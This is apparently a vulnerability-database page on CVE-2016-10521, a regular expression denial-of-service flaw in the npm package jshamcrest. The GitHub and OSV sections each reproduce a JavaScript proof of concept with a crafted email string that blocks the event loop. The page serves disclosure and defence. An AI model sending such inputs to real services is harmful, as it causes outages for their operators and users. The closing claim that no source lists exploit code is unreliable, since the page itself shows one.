CVE-2016-10521
Regular Expression Denial of Service in jshamcrest
jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
NVD Score used
7.5
jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.
- Record
CVE-2016-10521- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:N/I:N/A:P - Weakness
- CWE-400, CWE-20
- Updated
- 2026-11-02
CVE List No score
jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.
- Record
CVE-2016-10521- Weakness
- CWE-400
- Updated
- 2026-11-02
EUVDEUVD-2019-0364 No score
jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.
- Record
EUVD-2019-0364- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-xj62-87pg-vcv3
7.5
Regular Expression Denial of Service in jshamcrest
The jshamcrest package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.
Proof of concept
var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=1;i<=10000000;i=i+1) {
console.log("COUNT: " + i);
var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
console.log("LENGTH: " + str.length);
var start = process.hrtime();
emailAddress.matches(str)
var end = process.hrtime(start);
console.log(end);
}
Results
It takes about 116 characters to get a 1.6 second event loop block.
[ 1, 633084590 ]
COUNT: 51
LENGTH: 116
Timeline
- October 25, 2015 - Vulnerability Identified
- October 25, 2015 - Maintainers notified (no response)
Recommendation
The jshamcrest package currently has no patched versions available.
At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are multiple modules fitting this criteria available on npm..
- Record
GHSA-xj62-87pg-vcv3- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVGHSA-xj62-87pg-vcv3
7.5
Regular Expression Denial of Service in jshamcrest
The jshamcrest package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.
Proof of concept
var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=1;i<=10000000;i=i+1) {
console.log("COUNT: " + i);
var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
console.log("LENGTH: " + str.length);
var start = process.hrtime();
emailAddress.matches(str)
var end = process.hrtime(start);
console.log(end);
}
Results
It takes about 116 characters to get a 1.6 second event loop block.
[ 1, 633084590 ]
COUNT: 51
LENGTH: 116
Timeline
- October 25, 2015 - Vulnerability Identified
- October 25, 2015 - Maintainers notified (no response)
Recommendation
The jshamcrest package currently has no patched versions available.
At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are multiple modules fitting this criteria available on npm..
- Record
GHSA-xj62-87pg-vcv3- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
jshamcrestnpm |
through 0.7.1 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2016-10521 is a high vulnerability (CVSS 7.5) in Jshamcrest Project Jshamcrest, published May 31, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.09%, the 65th percentile. No source names a fixed version.